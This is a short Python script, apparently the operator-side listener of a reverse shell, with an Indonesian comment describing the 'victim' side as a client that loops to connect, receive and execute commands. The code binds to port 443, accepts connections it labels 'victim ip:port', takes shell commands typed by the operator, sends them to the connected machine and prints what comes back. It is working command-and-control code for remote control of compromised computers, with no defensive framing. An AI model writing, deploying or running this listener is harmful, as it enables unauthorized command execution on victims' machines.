#victim akan jadi sepenuhnya client dengan while True, connect, recv, exec, time.sleep(1)


import socket
import os
from threading import Thread
import sys

class listener:
    def __init__(self):
        print("\n")
        self.ip = "192.168.43.171"
        self.port = 443#"thisisport"
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        print("binding %s:%d" %(self.ip, self.port))
        self.sock.bind((self.ip, self.port))
        self.sock.listen()
        print("listening...")
    def handler(self, client_socket):
        
        terima = client_socket.recv(1024).decode('utf-8')
        try:
            if terima == "comm":
                order = str((input("command (for windows, use like shell dir): "))).encode('utf-8')
                print(terima)
                client_socket.send(order)
            else:
                print(terima[3:])
        except:
            pass
        client_socket.close()
        
    def run(self):
        while True:
           try:
            client, addr = self.sock.accept()
            print("victim ip:port: %s:%d" %(addr[0], addr[1]))
            torun = Thread(target=self.handler, args=[client,])
            torun.start() 
           except:
            self.sock.close()
            sys.exit(0)
            break
    
    
listener().run()
